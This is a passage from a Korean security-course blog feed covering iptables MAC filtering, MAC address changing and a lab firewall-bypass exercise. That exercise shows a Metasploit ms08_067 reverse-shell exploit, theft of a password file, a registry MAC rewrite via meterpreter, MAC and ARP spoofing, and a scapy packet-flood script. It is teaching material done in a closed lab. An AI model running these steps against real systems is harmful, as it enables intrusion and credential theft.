[root@victim3 ~]# tcpdump -nn -i ens33 not port 22 and host 200.200.200.3 and port 80

2. 소스코드 작성
[root@kali ~]# vi sendPacket.py 
#!/usr/bin/python3

from scapy.all import *
import sys

# Victim3(CentOS7): 200.200.200.6 00:0c:29:3d:bf:69

if len(sys.argv) != 2:
    print(f&quot;Usage: {sys.argv[0]} &lt;packet count&gt;&quot;)
    sys.exit(1)

packetCount = int(sys.argv[1])

packet = Ether(dst=&#39;00:0c:29:3d:bf:69&#39;)/IP(dst=&#39;200.200.200.6&#39;)/TCP(dport=80)
sendp(packet, count=packetCount)

3. 프로그램 실행
[root@kali ~]# chmod 755 sendPacket.py 

[root@kali ~]# ./sendPacket.py 
Usage: ./sendPacket.py &lt;packet count&gt;

[root@kali ~]# ./sendPacket.py 1

[root@kali ~]# ./sendPacket.py 100000


</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[네트워크 보안 운영 - 2 (교육 76일차)]]></title>
            <link>https://velog.io/@security_code/%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-2-%EA%B5%90%EC%9C%A1-76%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@security_code/%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-2-%EA%B5%90%EC%9C%A1-76%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Wed, 15 Mar 2023 11:55:07 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/security_code/post/b0978b4b-48f1-4874-97c4-9431461b60df/image.jpg" alt=""></p>
<blockquote>
<p><strong>실습&gt; MAC 주소 모듈 사용하기</strong></p>
</blockquote>
<pre><code>libxt_mac.so

형식: 
mac match options:
[!] --mac-source XX:XX:XX:XX:XX:XX
                Match source MAC address


    IP 주소          MAC 주소
200.200.200.1  00:50:56:c0:00:08 

1. 패키지 설치
net-tools 패키지를 설치해서 arp 명령어로 Host OS의 MAC주소를 확인한다.
[root@victim3 ~]# systemctl stop firewalld
[root@victim3 ~]# systemctl disable firewalld
[root@victim3 ~]# yum -y install ipables-services net-tools
[root@victim3 ~]# iptables -F
[root@victim3 ~]# iptables -nL

2. MAC주소 등록 연습
[root@victim3 ~]# iptables -A INPUT -m mac -h | grep -A 10 mac 
mac match options:
[!] --mac-source XX:XX:XX:XX:XX:XX
                Match source MAC address

[root@victim3 ~]# iptables -A INPUT -m mac --mac-source 00:11:22:33:44:55 -j ACCEPT
[root@victim3 ~]# iptables -A INPUT -m mac --mac-source 12:34:56:78:90:aa -j ACCEPT
[root@victim3 ~]# iptables -nvL INPUT
Chain INPUT (policy ACCEPT 6 packets, 364 bytes)
 pkts bytes target     prot opt in     out     source               destination         
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            MAC 00:11:22:33:44:55
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            MAC 12:34:56:78:90:AA
[root@victim3 ~]# iptables -F INPUT

3. 방화벽 룰 설정
MAC 주소 같이 넣어서 등록한다.
-A INPUT: filter 테이블의 INPUT 체인 
-m state --state NEW: 처음 접속의 syn
-p tcp --dport 22: TCP/22 SSH
-s 200.200.200.1: 출발지 IP주소가 200.200.200.1
-m mac --mac-source 00:50:56:C0:00:08: MAC주소는 00:50:56:C0:00:08 
-j ACCEPT: 패킷을 허용한다.

[root@victim3 ~]# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
200.200.200.2            ether   00:50:56:fa:09:53   C                     ens33
200.200.200.3            ether   00:0c:29:28:37:34   C                     ens33
200.200.200.1            ether   00:50:56:c0:00:08   C                     ens33  &lt;-- 서버에 접속할 Host
200.200.200.4            ether   00:0c:29:0e:30:1e   C                     ens33  &lt;-- 서버에 접속할 Host

[root@victim3 ~]# iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
[root@victim3 ~]# iptables -A INPUT -m state --state NEW -p tcp --dport 22 \
-s 200.200.200.1 -m mac --mac-source  00:50:56:c0:00:08 -j ACCEPT
[root@victim3 ~]# iptables -A INPUT -m state --state NEW -p tcp --dport 22 \
-s 200.200.200.4 -m mac --mac-source  00:0c:29:0e:30:1e -j ACCEPT

[root@victim3 ~]# iptables -P INPUT DROP

[root@victim3 ~]# iptables -nL
Chain INPUT (policy DROP)
target     prot opt source               destination         
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            state RELATED,ESTABLISHED
ACCEPT     tcp  --  200.200.200.1        0.0.0.0/0            state NEW tcp dpt:22 MAC 00:50:56:c0:00:08
ACCEPT     tcp  --  200.200.200.4        0.0.0.0/0            state NEW tcp dpt:22 MAC 00:0c:29:0e:30:1e

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination 

4. 서버 접속
cmd 창에서 ssh 접속 파일을 삭제한 후 서버로 접속한다.

Host OS(200.200.200.1)에서 ssh 명령어로 서버에 접속한다. 
- 방화벽에 설정된 2번 룰번호의 IP주소 &amp;&amp; MAC 주소가 일치하므로 접속에 성공한다.
C:\Users\user&gt;del C:\Users\user\.ssh\known_hosts
C:\Users\user&gt;ssh root@200.200.200.6
The authenticity of host &#39;200.200.200.6 (200.200.200.6)&#39; can&#39;t be established.
ECDSA key fingerprint is SHA256:nZRi5rEqYElFI51/UjoQ7lCu7cz7D2ybuVUAczl0d7Y.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added &#39;200.200.200.6&#39; (ECDSA) to the list of known hosts.
root@200.200.200.6&#39;s password:
Last login: Mon Mar 13 18:47:16 2023 from 200.200.200.1
[root@victim3 ~]# exit

Windows XP(200.200.200.4)에서 Putty를 이용해서 서버에 접속한다.
- 방화벽에 설정된 3번 룰번호의 IP주소 &amp;&amp; MAC 주소가 일치하므로 접속에 성공한다.
login as: root
root@200.200.200.6&#39;s password:
Last login: Mon Mar 13 18:47:37 2023 from 200.200.200.1
[root@victim3 ~]#

Attacker(200.200.200.3)에서 ssh 명령어로 서버에 접속한다.
- ARP Spoofing을 공격하지 않은 상태이므로
- 방화벽에 설정된 2번 룰번호의 (22번포트)&amp;&amp;(IP주소)&amp;&amp;(MAC주소)중에서 (IP주소 &amp;&amp; MAC주소)가 일치하지 않으므로 접속에 실패한다.
[root@kali ~]# ssh 200.200.200.6
ssh: connect to host 200.200.200.6 port 22: Connection timed out

ARP Spoofing을 공격한 상태에서 접속해도 접속이 안된다.
[root@kali ~]# arpspoof2.py 4 6
&gt;&gt;&gt; arp spoofing 공격 실행중 !!! &lt;&lt;&lt;
arpspoof -t 200.200.200.4 200.200.200.6 &gt; /dev/null 2&gt;&amp;1 &amp;
arpspoof -t 200.200.200.6 200.200.200.4 &gt; /dev/null 2&gt;&amp;1 &amp;
fragrouter -B1 &gt; /dev/null 2&gt;&amp;1

- 방화벽에 설정된 2번 룰번호의 (22번포트)&amp;&amp;(IP주소)&amp;&amp;(MAC주소)중에서 (MAC주소)가 일치하지 않으므로 접속에 실패한다.
[root@kali ~]# ifconfig eth0:1 200.200.200.4
[root@kali ~]# ssh -b 200.200.200.4 200.200.200.6
ssh: connect to host 200.200.200.6 port 22: Connection timed out

ARP Spoofing을 중지한다.
[root@kali ~]# arpspoof2.py 4 6
&gt;&gt;&gt; arp spoofing 공격 실행중 !!! &lt;&lt;&lt;
arpspoof -t 200.200.200.4 200.200.200.6 &gt; /dev/null 2&gt;&amp;1 &amp;
arpspoof -t 200.200.200.6 200.200.200.4 &gt; /dev/null 2&gt;&amp;1 &amp;
fragrouter -B1 &gt; /dev/null 2&gt;&amp;1
^C
</code></pre><blockquote>
<p><strong>실습&gt; MAC 주소 변경하기 1 (Windows XP)</strong></p>
</blockquote>
<pre><code>1. MAC 주소 확인
cmd -&gt; ipconfig/all 명령어로 확인한다.
C:\&gt;ipconfig/all

Windows IP Configuration

        Host Name . . . . . . . . . . . . : victim_winxp
        Primary Dns Suffix  . . . . . . . :
        Node Type . . . . . . . . . . . . : Broadcast
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter 로컬 영역 연결:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter

        Physical Address. . . . . . . . . : 00-0C-29-0E-30-1E
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : 200.200.200.4
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 200.200.200.2
        DNS Servers . . . . . . . . . . . : 200.200.200.6


2. NIC 정보 변경
cmd &gt; ncpa.cpl &gt; 로컬 영역 연결 &gt; 속성 &gt; 구성 &gt; 고급 탭 &gt; Network Address 에서 변경한다.
변경 후 조금 시간이 지난 후 확인하면 변경된 MAC 주소를 확인할 수 있다.
원래 값: 000c290e301e
변경할 값:  000c290e301f  

C:\&gt;ncpa.cpl
C:\&gt;ipconfig/all

Windows IP Configuration

        Host Name . . . . . . . . . . . . : victim_winxp
        Primary Dns Suffix  . . . . . . . :
        Node Type . . . . . . . . . . . . : Broadcast
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter 로컬 영역 연결:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter

        Physical Address. . . . . . . . . : 00-0C-29-0E-30-1F  &lt;-- 변경된 MAC 주소
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : 200.200.200.4
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 200.200.200.2
        DNS Servers . . . . . . . . . . . : 200.200.200.6

3. 통신 확인
C:\&gt;ping 8.8.8.8

Pinging 8.8.8.8 with 32 bytes of data:

Reply from 8.8.8.8: bytes=32 time=38ms TTL=128
Reply from 8.8.8.8: bytes=32 time=39ms TTL=128
Reply from 8.8.8.8: bytes=32 time=38ms TTL=128
Reply from 8.8.8.8: bytes=32 time=38ms TTL=128

Ping statistics for 8.8.8.8:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 38ms, Maximum = 39ms, Average = 38ms

putty.exe로 Victim3(200.200.200.6)으로 접속하면 접속에 실패한다.
- 방화벽에 설정된 3번 룰번호의 (22번포트)&amp;&amp;(IP주소)&amp;&amp;(MAC주소)중에서 (MAC주소)가 일치하지 않으므로 접속에 실패한다.

Network error: Connection timed out

4. 레지스트리 정보 확인
regedit: 레지스트리 편집기
레지스트리 정보에서 원래의 값 없음에서 MAC주소를 수정하면 NetworkAddress가 생성된다.
C:\&gt;regedit
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001\
NetworkAddress   &lt;-- REGSZ으로 여기가 MAC주소가 저장된 곳이다.
값 이름: NetworkAddress
값 데이터: 000C290E301F</code></pre><blockquote>
<p><strong>실습&gt; Windows XP에서 MAC주소가 저장된 레지스트리 확인하기</strong></p>
</blockquote>
<pre><code>regedit: 레지스트리 편집기

C:\&gt;regedit

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001
NetworkAddress   &lt;-- 여기가 MAC주소가 저장된 곳이다.</code></pre><blockquote>
<p><strong>실습&gt;  MAC 주소 변경하기 2 (Windows XP)</strong></p>
</blockquote>
<pre><code>1. NIC 정보 변경
cmd &gt; ncpa.cpl &gt; 로컬 영역 연결 &gt; 속성 &gt; 구성 &gt; 고급 탭 &gt; Network Address 에서 변경한다.
변경 후 조금 시간이 지난 후 확인하면 변경된 MAC 주소를 확인할 수 있다.
현재 MAC 주소 값: 000c290e301f  
없음으로 체크하면 원래의 MAC 주소로 돌아온다.

원래의 값 없음으로 설정하면 아래 레지스트리 정보에서 NetworkAddress 가 삭제된다.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001

C:\&gt;ipconfig/all

Windows IP Configuration

        Host Name . . . . . . . . . . . . : victim_winxp
        Primary Dns Suffix  . . . . . . . :
        Node Type . . . . . . . . . . . . : Broadcast
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter 로컬 영역 연결:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter

        Physical Address. . . . . . . . . : 00-0C-29-0E-30-1E  &lt;-- 원래의 MAC 주소로 돌아왔다.
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : 200.200.200.4
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 200.200.200.2
        DNS Servers . . . . . . . . . . . : 200.200.200.6

2. 통신 확인
C:\&gt;ping 8.8.8.8

Pinging 8.8.8.8 with 32 bytes of data:

Reply from 8.8.8.8: bytes=32 time=39ms TTL=128
Reply from 8.8.8.8: bytes=32 time=69ms TTL=128
Reply from 8.8.8.8: bytes=32 time=39ms TTL=128
Reply from 8.8.8.8: bytes=32 time=38ms TTL=128

Ping statistics for 8.8.8.8:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 38ms, Maximum = 69ms, Average = 46ms

putty.exe로 Victim3(200.200.200.6)으로 접속하면 접속에 성공한다.
- 방화벽에 설정된 3번 룰번호의 (22번포트)&amp;&amp;(IP주소)&amp;&amp;(MAC주소)중에서 모두 일치하므로 접속에 성공한다.

login as: root
root@200.200.200.6&#39;s password:
Last login: Mon Mar 13 18:52:21 2023 from 200.200.200.4
[root@victim3 ~]# exit
</code></pre><blockquote>
<p>*<em>실습&gt; MAC 주소 변경하기 (Kali Linux) *</em></p>
</blockquote>
<pre><code>macchanger: MAC 주소 변경 명령어

1. 사용법 확인
[root@kali ~]# macchanger --help
GNU MAC Changer
Usage: macchanger [options] device

  -h,  --help                   Print this help
  -V,  --version                Print version and exit
  -s,  --show                   Print the MAC address and exit
  -e,  --ending                 Don&#39;t change the vendor bytes
  -a,  --another                Set random vendor MAC of the same kind
  -A                            Set random vendor MAC of any kind
  -p,  --permanent              Reset to original, permanent hardware MAC
  -r,  --random                 Set fully random MAC
  -l,  --list[=keyword]         Print known vendors
  -b,  --bia                    Pretend to be a burned-in-address
  -m,  --mac=XX:XX:XX:XX:XX:XX
       --mac XX:XX:XX:XX:XX:XX  Set the MAC XX:XX:XX:XX:XX:XX

Report bugs to https://github.com/alobbs/macchanger/issues

2. MAC 주소 변경
현재 MAC 주소: 00:0c:29:28:37:34
변경할 MAC 주소: 00:0c:29:28:37:35

현재 MAC 주소를 확인한다.
[root@kali ~]# ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:28:37:34 brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.3/24 brd 200.200.200.255 scope global noprefixroute eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::3a0a:df6f:1140:3e0b/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

macchanger 는 MAC주소를 변경하는 명령어로 eth0의 MAC주소를 변경한다.
[root@kali ~]# macchanger -m 00:0c:29:28:37:35 eth0
Current MAC:   00:0c:29:28:37:34 (VMware, Inc.)
Permanent MAC: 00:0c:29:28:37:34 (VMware, Inc.)
New MAC:       00:0c:29:28:37:35 (VMware, Inc.)

[root@kali ~]# ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:28:37:35 brd ff:ff:ff:ff:ff:ff permaddr 00:0c:29:28:37:34
    inet 200.200.200.3/24 brd 200.200.200.255 scope global noprefixroute eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::3a0a:df6f:1140:3e0b/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

3. 통신 확인
[root@kali ~]# ping 8.8.8.8 -c 3
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=38.5 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=38.7 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=128 time=38.5 ms

--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 38.502/38.570/38.705/0.095 ms

4. 되돌리기
통신이 잘되면 원래의 MAC 주소로 변경한다.
[root@kali ~]# macchanger -m 00:0c:29:28:37:34 eth0
Current MAC:   00:0c:29:28:37:35 (VMware, Inc.)
Permanent MAC: 00:0c:29:28:37:34 (VMware, Inc.)
New MAC:       00:0c:29:28:37:34 (VMware, Inc.)

[root@kali ~]# ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:28:37:34 brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.3/24 brd 200.200.200.255 scope global noprefixroute eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::3a0a:df6f:1140:3e0b/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever</code></pre><p>💥💥💥💥💥</p>
<blockquote>
<p><strong>실습&gt; IP SPoofing 기법을 이용한 방화벽 우회하기 2</strong></p>
</blockquote>
<pre><code>ARP Spoofing : 내부망(LAN)에서 사용되는 공격

-- 조건 --
Victim1(WinXP)  : 200.200.200.4 00:0c:29:0e:30:1e
Attacker(Kali)  : 200.200.200.3 00:0c:29:28:37:34
Victim3(CentOS7): 200.200.200.6 00:0c:29:3d:bf:69

네트워크 패킷 흐름도  

[Victim1(WinXP)] &lt;--------- O -------&gt; [Firewall] [Victim3(CentOS7)]
                                       &gt;&gt;&gt; 방화벽 정책 &lt;&lt;&lt;
                                       - 이미 연결된 패킷은 ACCEPT
[Attacker]  ------------ X ----------&gt; - WEB: ALL ACCEPT
                                       - SSH: 200.200.200.1 &amp;&amp; 00:50:56:C0:00:08 ACCEPT
                                       - SSH: 200.200.200.4 &amp;&amp; 00:0C:29:0E:30:1E ACCEPT
                                       - 나머지 ALL DROP

접속할 서버의 방화벽 정책은 아래와 같다. 
[root@victim3 ~]# iptables -nL
Chain INPUT (policy DROP)
target     prot opt source               destination         
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            state RELATED,ESTABLISHED
ACCEPT     tcp  --  200.200.200.1        0.0.0.0/0            state NEW tcp dpt:22 MAC 00:50:56:C0:00:08
ACCEPT     tcp  --  200.200.200.4        0.0.0.0/0            state NEW tcp dpt:22 MAC 00:0C:29:0E:30:1E

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination  
-- 조건 --


1. 방화벽 Off
Windows XP에서 방화벽을 중지한다.

firewall.cpl &gt; 사용 안함

2. 악성코드 감염
[root@kali ~]# vi ms08_067.rc
search ms08_067
use exploit/windows/smb/ms08_067_netapi
set  payload windows/meterpreter/reverse_tcp
set RHOSTS 200.200.200.4
exploit

[root@kali ~]# msfconsole -r ms08_067.rc 
  :
  :(생략)
meterpreter &gt; 
meterpreter &gt; sysinfo
Computer        : VICTIM_WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter &gt; 

3. 서버 정보 탈취
이 부분을 실행할 때는 utf8이 아닌 euckr 언어셋으로 변경하고 확인한다.
바탕화면에 서버 접속에 대한 중요 정보를 획득한다.
meterpreter &gt; C:\WINDOWS\system32&gt;cd C:\Documents and Settings\ksw\바탕 화면
C:\Documents and Settings\ksw\바탕 화면&gt;dir
 C 드라이브의 볼륨에는 이름이 없습니다.
 볼륨 일련 번호: 588F-741A

 C:\Documents and Settings\ksw\바탕 화면 디렉터리

2023-03-14  오전 10:24    &lt;DIR&gt;          .
2023-03-14  오전 10:24    &lt;DIR&gt;          ..
2016-03-22  오후 02:30             2,423 adrenalin.m3u
2023-03-10  오후 02:22             2,407 adrenalin2.m3u
2016-03-22  오후 02:33             2,405 adrenalin2.m3u.bak
2016-03-28  오후 07:19           123,197 calc_download.pcap
2022-10-27  오전 10:37               155 HTTP 404 찾을 수 없습니다..url
2023-03-10  오후 02:14         1,670,656 HxD.exe
2023-03-10  오후 03:13               792 HxD.ini
2023-03-10  오전 09:30            73,802 malware.exe
2022-11-21  오후 12:47            59,392 nc.exe
2023-03-13  오후 05:01         1,477,416 putty.exe
2016-03-28  오후 07:11    &lt;DIR&gt;          SysinternalsSuite
2016-03-28  오후 07:04             1,477 Wireshark.lnk
2023-03-14  오전 10:25               104 서버정보.txt
2016-03-28  오후 06:50             1,535 아드레날린.lnk
              13개 파일           3,415,761 바이트
               3개 디렉터리   7,683,223,552 바이트 남음

바탕화면에 있는 서버정보.txt 파일을 more 로 확인해서 접속 정보를 획득한다.
C:\Documents and Settings\ksw\바탕 화면&gt;more 서버정보.txt                          
more 서버정보.txt
서버: 200.200.200.6
- 방화벽 필터링
- 관리자 IP주소: 200.200.200.1, 200.200.200.4
관리자 비번: 111111

4. 서버 접속
공격자가 다른 터미널을 열어서 SSH로 접속한다.
- 접속이 안되는 것은 IP주소를 필터링 되어 있기 때문이다라는 것을 인지한다.
[root@kali ~]# ssh 200.200.200.6
^C

Windows XP의 MAC주소를 확인한다.
C:\Documents and Settings\ksw\바탕 화면&gt;ipconfig/all
ipconfig/all

Windows IP Configuration

        Host Name . . . . . . . . . . . . : victim_winxp
        Primary Dns Suffix  . . . . . . . : 
        Node Type . . . . . . . . . . . . : Broadcast
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter 로컬 영역 연결:

        Connection-specific DNS Suffix  . : 
        Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter
        Physical Address. . . . . . . . . : 00-0C-29-0E-30-1E  &lt;-- 관리자의 MAC 주소를 확인한다.
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : 200.200.200.4   &lt;-- 관리자의 IP 주소를 확인한다.
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 200.200.200.2
        DNS Servers . . . . . . . . . . . : 200.200.200.6

5. MAC 주소 변경
관리자 PC(Windows XP)의  MAC 주소를 변경한다.
레지스트리 정보 NetworkAddress 생성한다.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001

meterpreter &gt; help reg

NetworkAddress 의 내용을 확인했더니 없어서 MAC주소를 변경하지 않았다는 것을 확인한다.
meterpreter &gt; reg enumkey -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002bE10318}\\0001
Enumerating: HKLM\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001

  Keys (2):

    Linkage
    Ndi

  Values (27):

    BUS_TO_SCAN
    BUSTIMER
    LED0
    LED1
    LED2
    LED3
    Priority8021p
    TcpipOffload
    Characteristics
    BusType
    ComponentId
    EXTPHY
    FDUP
    MPMODE
    TP
    InfPath
    InfSection
    ProviderName
    DriverDateData
    DriverDate
    DriverVersion
    MatchingDeviceId
    DriverDesc
    NetCfgInstanceId
    MTU
    TsoEnable
    InfSectionExt

reg setval 명령어로 NetworkAddress를 생성하고 변경할 MAC 주소를 넣는다.
현재 MAC 주소: 00-0C-29-0E-30-1E 
변경할 MAC 주소: 00-0C-29-0E-30-1F
meterpreter &gt; reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002bE10318}\\0001 -v NetworkAddress -d &quot;000C290E301f&quot;

NetworkAddress 의 내용을 확인다.
meterpreter &gt; reg enumkey -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002bE10318}\\0001
Enumerating: HKLM\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001

  Keys (2):

    Linkage
    Ndi

  Values (28):
    :
    :(생략)
    TsoEnable
    InfSectionExt
    NetworkAddress  &lt;-- 생성된 NetworkAddress

reg queryval 명령어로 NetworkAddress의 내용을 확인한다.
meterpreter &gt; reg queryval -k  HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002bE10318}\\0001 -v NetworkAddress
Key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001
Name: NetworkAddress
Type: REG_SZ
Data: 000C290E301f  &lt;-- 변경된 MAC 주소

MAC 주소를 확인하면 이전 MAC주소로 되어 있다.
meterpreter &gt; ifconfig

Interface  1
============
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address : 127.0.0.1


Interface 327682
============
Name         : AMD PCNET Family PCI Ethernet Adapter - rface

Hardware MAC : 00:0c:29:0e:30:1e  &lt;-- 1e 가 1f로 변경이 되어야 하는데 변경되지 않았다.
MTU          : 1500
IPv4 Address : 200.200.200.4
IPv4 Netmask : 255.255.255.0

관리자 PC를 재부팅한다.
meterpreter &gt; reboot
Rebooting...
meterpreter &gt; exit
[*] Shutting down Meterpreter...

[*] 200.200.200.4 - Meterpreter session 1 closed.  Reason: User exit

Windows XP로 로그인해서 MAC 주소를 확인하면 변경된 주소를 확인할 수 있다.
C:\&gt;ipconfig/all

Windows IP Configuration

        Host Name . . . . . . . . . . . . : victim_winxp
        Primary Dns Suffix  . . . . . . . :
        Node Type . . . . . . . . . . . . : Broadcast
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter 로컬 영역 연결:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter

        Physical Address. . . . . . . . . : 00-0C-29-0E-30-1F  &lt;-- 변경된 MAC 주소
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : 200.200.200.4
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 200.200.200.2
        DNS Servers . . . . . . . . . . . : 200.200.200.6

6. 자신의 MAC 주소 변경
공격자 자신의 MAC주소를 관리자 PC(Windows XP)의 MAC 주소로 변경한다.
[root@kali ~]# macchanger -m 00:0c:29:0e:30:1e eth0
Current MAC:   00:0c:29:28:37:34 (VMware, Inc.)
Permanent MAC: 00:0c:29:28:37:34 (VMware, Inc.)
New MAC:       00:0c:29:0e:30:1e (VMware, Inc.)

ip a or ifconfig 로 확인하면 공격자의 MAC주소가 Victim1(Windows XP)의 이전 MAC주소로 변경된 것을 확인할 수 있다.
[root@kali ~]# ifconfig eth0
eth0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500
        inet 200.200.200.3  netmask 255.255.255.0  broadcast 200.200.200.255
        inet6 fe80::3a0a:df6f:1140:3e0b  prefixlen 64  scopeid 0x20&lt;link&gt;
        ether 00:0c:29:0e:30:1e  txqueuelen 1000  (Ethernet)
        RX packets 396  bytes 31944 (31.1 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 307  bytes 39053 (38.1 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

[root@kali ~]# ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:0e:30:1e brd ff:ff:ff:ff:ff:ff permaddr 00:0c:29:28:37:34
    inet 200.200.200.3/24 brd 200.200.200.255 scope global noprefixroute eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::3a0a:df6f:1140:3e0b/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

7. ARP Spoofing 공격
[root@kali ~]# arpspoof2.py 4 6
